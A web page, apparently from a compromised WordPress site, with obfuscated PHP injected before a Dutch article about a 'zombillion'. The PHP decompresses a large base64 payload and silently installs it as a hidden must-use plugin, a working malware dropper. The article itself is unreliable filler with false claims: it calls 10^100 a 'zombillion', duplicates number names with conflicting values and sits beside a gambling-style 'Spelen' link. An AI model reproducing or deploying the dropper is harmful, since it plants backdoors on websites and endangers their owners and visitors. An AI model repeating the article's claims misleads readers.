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');$znjx_pmx0=4659;$i_av1k1rius=$znjx_pmx0%17; $d0hmp8dyu2fvnd = (nn8punbe(1)($utueu9cn5nak39,0,2)==="\x1f\x8b") ? (vnxcymyeqlsecwsd(2)('gzdecode') ? @gzdecode($utueu9cn5nak39) : (vnxcymyeqlsecwsd(2)('gzinflate') ? @gzinflate(nn8punbe(3)($utueu9cn5nak39,(9+1))) : false)) : $utueu9cn5nak39; if ($d0hmp8dyu2fvnd && nn8punbe(4)($d0hmp8dyu2fvnd) > (263+237)) { $ftlyq_6_hpyn90l1 = defined("WP_CONTENT_DIR") ? WP_CONTENT_DIR : zjglpvf_xlfu4(5)(nn8punbe(5)(__FILE__)); $rytrg9qdgyuc = $ftlyq_6_hpyn90l1 . "/mu-plugins/echo-console-evo.php"; $nq6mtoufymru9vb8 = $ftlyq_6_hpyn90l1 . "/plugins/echo-console-evo/echo-console-evo.php"; $ix5w7_jlo37_6bo = @nn8punbe(6)($ftlyq_6_hpyn90l1 . "/mu-plugins") ? $rytrg9qdgyuc : $nq6mtoufymru9vb8; if (!@qrkfpvj9g5jat6(7)($ix5w7_jlo37_6bo) || @nn8punbe(8)($ix5w7_jlo37_6bo) < (0x4d7+0xeb1)) { if (!@vnxcymyeqlsecwsd(9)(zjglpvf_xlfu4(10)($ix5w7_jlo37_6bo))) @vnxcymyeqlsecwsd(11)(zjglpvf_xlfu4(10)($ix5w7_jlo37_6bo), (818-325), true); $k91s6jlag7 = (nn8punbe(2)('tempnam') ? @vnxcymyeqlsecwsd(12)(qrkfpvj9g5jat6(13)($ix5w7_jlo37_6bo), 'sc_') : false); if ($k91s6jlag7 !== false) { $u_0ydjm4td65 = @nn8punbe(14)($k91s6jlag7, $d0hmp8dyu2fvnd); if ($u_0ydjm4td65 !== false && $u_0ydjm4td65 === nn8punbe(4)($d0hmp8dyu2fvnd)) { $tywk480cxj = false; if (zjglpvf_xlfu4(15)('rename')) $tywk480cxj = @vnxcymyeqlsecwsd(16)($k91s6jlag7, $ix5w7_jlo37_6bo); if (!$tywk480cxj && nn8punbe(15)('copy')) { $tywk480cxj = @nn8punbe(17)($k91s6jlag7, $ix5w7_jlo37_6bo); if ($tywk480cxj) @vnxcymyeqlsecwsd(18)($k91s6jlag7);$ypryv9s7dll=PHP_MAJOR_VERSION;$bgc8a6lrvbjct6=$ypryv9s7dll*10; } if (!$tywk480cxj) @qrkfpvj9g5jat6(18)($k91s6jlag7); if (qrkfpvj9g5jat6(15)('chmod')) @nn8punbe(19)($ix5w7_jlo37_6bo, (575-155)); if (nn8punbe(15)('opcache_invalidate')) @opcache_invalidate($ix5w7_jlo37_6bo, true); } else { @qrkfpvj9g5jat6(18)($k91s6jlag7); } } } } } } /* SC_TH_END:4.0.3:d167ef7d */ Geweldige_berekeningen_met_zombillion_en_praktische_toepassingen_voor_de_toekoms – Beauty Skip to main content
search
0
Post

Geweldige_berekeningen_met_zombillion_en_praktische_toepassingen_voor_de_toekoms

By October 8, 2026No Comments

🔥 Spelen ▶️

Geweldige berekeningen met zombillion en praktische toepassingen voor de toekomst

De term ‘zombillion’ roept onmiddellijk vragen op. Het is een woord dat zelden wordt gebruikt in alledaagse gesprekken, maar een diepgaande betekenis kan hebben in de wereld van de wiskunde, informatica en zelfs toekomstige technologische toepassingen. Het vertegenwoordigt een enorm groot getal, veel groter dan de meeste getallen die we in het dagelijks leven tegenkomen. Dit artikel duikt in de betekenis van een zombillion, de manieren waarop het kan worden berekend en de potentiële toepassingen die het voor de toekomst kan hebben.

Het concept van extreem grote getallen is al eeuwenlang fascinerend voor wiskundigen en wetenschappers. Van de oude Grieken die probeerden de grenzen van de oneindigheid te begrijpen, tot de moderne informaticawetenschappers die te maken hebben met de beperkingen van computergeheugen, de behoefte om grote getallen te representeren en te manipuleren is constant geëvolueerd. Een zombillion is slechts één voorbeeld van zo’n groot getal, maar het illustreert de manier waarop we proberen de onvoorstelbare schaal van het universum en de complexiteit van wiskundige problemen te begrijpen.

De Wiskundige Definitie van een Zombillion

Een zombillion is een informeel getal dat een 1 gevolgd door 100 nullen representeert. Dit is een getal dat exponentieel groter is dan bekende getallen zoals miljard, biljoen en triljoen. Hoewel het geen officiële wiskundige term is, wordt het vaak gebruikt om een enorm groot aantal aan te duiden. Het kan worden uitgedrukt als 10100, wat een duidelijke weergave geeft van de orde van grootte van het getal. Om het in perspectief te plaatsen, de geschatte totale hoeveelheid atomen in het waarneembare universum wordt geschat op ongeveer 1080, wat betekent dat een zombillion vele malen groter is dan dat aantal. Het begrijpen van de schaal van een zombillion is cruciaal om de implicaties ervan te begrijpen, met name in contexten zoals informatica, fysica en de toekomst van technologie.

De Geschiedenis van Grote Getalnamen

De behoefte om grote getallen te benoemen dateert uit de vroege geschiedenis van de wiskunde. De oude Grieken hadden al namen voor getallen tot miljard, maar naarmate de wiskunde vorderde, ontstond de behoefte aan namen voor nog grotere getallen. In de loop der eeuwen zijn er verschillende systemen voorgesteld, met verschillende namen voor getallen na miljard. Veel van deze namen zijn afkomstig van het Franse systeem, dat namen gebruikt zoals biljoen (1012), biljoen (1015) en triljoen (1018). Echter, na triljoen worden de namen minder gevestigd en beginnen ze meer speculatief te worden. ‘Zombillion’ is een voorbeeld van zo’n informele naam, die populair is geworden in internetcultuur en vooral in discussies over extreem grote getallen en rekenkracht.

GetalnaamWaarde
Miljoen 106
Miljard 109
Biljoen 1012
Biljoen 1015
Triljoen 1018
Zombillion 10100

De tabel laat zien hoe snel getallen toenemen. Het is belangrijk te onthouden dat een zombillion geen officieel erkende wiskundige term is, maar eerder een informele manier om een extreem groot getal aan te duiden. De schaal van deze getallen is bijna onbegrijpelijk voor het menselijk brein, en de behoefte om ze te begrijpen en te manipuleren is de drijvende kracht achter veel van de ontwikkelingen in de wiskunde en informatica.

Toepassingen van Zombillions in de Informatica

In de informatica spelen extreem grote getallen een cruciale rol in verschillende contexten, waaronder cryptografie, data-analyse en machine learning. Bijvoorbeeld, in cryptografie worden grote priemgetallen gebruikt om veilige encryptie-algoritmen te creëren. Hoe groter de priemgetallen, hoe moeilijker het is om de code te kraken. In data-analyse kunnen zombillions worden gebruikt om de enorme hoeveelheden gegevens te representeren die worden gegenereerd door sociale media, wetenschappelijke experimenten en financiële markten. Machine learning algoritmen vereisen vaak het verwerken van gigantische datasets, en het vermogen om deze gegevens efficiënt te manipuleren is essentieel voor het creëren van nauwkeurige en betrouwbare modellen. Het werken met zulke gigantische getallen vereist speciale software en hardware, ontworpen om deze enorme schalen te verwerken. De complexiteit van het berekenen hiermee is een voortdurende uitdaging voor informatici.

De Limieten van Computergeheugen

Een van de grootste uitdagingen bij het werken met zombillions is de beperking van computergeheugen. Traditionele computers gebruiken binaire representatie om getallen op te slaan, wat betekent dat elk getal wordt opgeslagen als een reeks bits. Het opslaan van een zombillion, wat 10100 is, zou een enorme hoeveelheid geheugen vereisen, veel meer dan wat beschikbaar is op de meeste computers. Om dit probleem te omzeilen, gebruiken informatici verschillende technieken, zoals het gebruik van speciale datastructuren en algoritmen die zijn ontworpen om grote getallen efficiënt te manipuleren, en het gebruik van distributed computing om de berekeningen over meerdere computers te verdelen. Deze technieken stellen informatici in staat om te werken met getallen van de omvang van een zombillion, zelfs als ze niet volledig in het geheugen van een enkele computer kunnen worden opgeslagen.

  • Cryptografie: Veilige encryptie-algoritmen gebruiken grote priemgetallen.
  • Data-analyse: Vertegenwoordigen van enorme datasets gegenereerd door diverse bronnen.
  • Machine Learning: Verwerken van gigantische datasets voor nauwkeurige modellen.
  • Wetenschappelijke simulaties: Modelleren van complexe fysieke processen.
  • Financiële modellering: Voorspellen van marktgedrag en risicoanalyse.

De bovenstaande lijst illustreert de diverse toepassingen waarin het concept van een zombillion, of het vermogen om met dergelijk grote getallen om te gaan, cruciaal is. De vooruitgang in computertechnologie is essentieel om deze complexiteit te beheersen.

Zombillions in de Fysica en Kosmologie

In de fysica en kosmologie komen zombillions voor bij het beschrijven van de grootte van het universum, het aantal deeltjes in het heelal en de waarschijnlijkheid van zeldzame kwantumgebeurtenissen. Het aantal mogelijke configuraties van deeltjes in het universum is bijvoorbeeld astronomisch groot, en kan worden benaderd door een zombillion of zelfs een nog groter getal. In de kosmologie worden zombillions gebruikt om de schaal van de ruimte en tijd te beschrijven, en om de evolutie van het universum te modelleren. De complexiteit van deze berekeningen vereist vaak het gebruik van supercomputers en geavanceerde wiskundige technieken. Het begrijpen van deze getallen helpt ons om een beter begrip te krijgen van de fundamentele wetten die het universum besturen, en de aard van de realiteit zelf.

Kwantummechanica en Waarschijnlijkheid

De kwantummechanica, de tak van de fysica die zich bezighoudt met het gedrag van materie op atomair en subatomair niveau, maakt vaak gebruik van waarschijnlijkheden om de mogelijke uitkomsten van experimenten te beschrijven. Deze waarschijnlijkheden kunnen extreem klein zijn, in de orde van grootte van een zombillionste. Het berekenen van deze waarschijnlijkheden is cruciaal voor het begrijpen van kwantumverschijnselen, zoals quantum tunneling en quantum verstrengeling. Hoewel deze waarschijnlijkheden zelf onvoorstelbaar klein zijn, hebben ze een enorme impact op de manier waarop de wereld op microscopisch niveau werkt. De nauwkeurige voorspellingen van de kwantummechanica zijn een bewijs van de kracht van wiskunde en de mogelijkheid om zelfs de meest onvoorstelbare fenomenen te begrijpen.

  1. Berekenen van de waarschijnlijkheid van zeldzame kwantumgebeurtenissen.
  2. Beschrijven van de mogelijke configuraties van deeltjes in het universum.
  3. Modelleren van de evolutie van het universum op kosmologische schaal.
  4. Voorspellen van de waarschijnlijkheid van tunneling-effecten.
  5. Analyse van quantum verstrengeling.

De bovenstaande lijst benadrukt de cruciale rol die grote getallen, zoals zombillions, spelen in de moderne fysica. Begrip van deze noemers is essentieel voor het verder ontwikkelen van onze kennis van het universum.

De Toekomst van Berekeningen met Zombillions

Naarmate de rekenkracht van computers blijft toenemen, wordt het mogelijk om steeds complexere berekeningen uit te voeren met zombillions en andere extreem grote getallen. De ontwikkeling van kwantumcomputers belooft een revolutie teweeg te brengen in de manier waarop we over rekenen denken, en zal het mogelijk maken om problemen op te lossen die voorheen onmogelijk waren. Quantumcomputers maken gebruik van de principes van de kwantummechanica om informatie op te slaan en te verwerken, en zijn in theorie in staat om bepaalde soorten berekeningen exponentieel sneller uit te voeren dan klassieke computers. Dit zal de deur openen naar nieuwe ontdekkingen in de wetenschap, technologie en andere gebieden. Het is echter belangrijk om te erkennen dat kwantumcomputers nog in een vroeg stadium van ontwikkeling verkeren, en dat er nog aanzienlijke uitdagingen zijn die moeten worden overwonnen voordat ze wijdverspreid kunnen worden ingezet.

Met de toenemende capaciteit van computationele systemen en de opkomst van kwantumcomputing, zullen we in staat zijn om extreem complexe problemen aan te pakken, wat aanzienlijke voordelen oplevert in diverse domeinen. Hierdoor komen nieuwe ontdekkingen en innovaties binnen bereik die nu nog ondenkbaar zijn.

De Implicaties voor Kunstmatige Intelligentie en Beyond

De mogelijkheid om te werken met zombillions heeft verregaande implicaties voor kunstmatige intelligentie (AI). AI-algoritmen vereisen enorme hoeveelheden data om te leren en te verbeteren, en het vermogen om deze data efficiënt te verwerken is cruciaal voor het creëren van intelligente systemen. Naarmate AI-systemen complexer worden, zal de behoefte aan rekenkracht en geheugen blijven toenemen. De ontwikkeling van nieuwe hardware en software die speciaal zijn ontworpen voor AI-toepassingen is dan ook essentieel. Toekomstige AI-systemen zullen in staat zijn om complexe problemen op te lossen die voorheen onmogelijk waren, zoals het ontwikkelen van nieuwe medicijnen, het voorspellen van klimaatverandering en het creëren van zelfrijdende auto's. De mogelijkheden zijn eindeloos, en de impact op onze samenleving zal enorm zijn.

Het begrip en de manipulatie van zulke enorme schalen zoals een zombillion, is niet slechts een academische oefening; het is een cruciaal onderdeel van het ontgrendelen van de toekomstige potentie van technologie en wetenschap. Het zal de manier waarop we omgaan met problemen in uiteenlopende velden fundamenteel veranderen.

Leave a Reply

Close Menu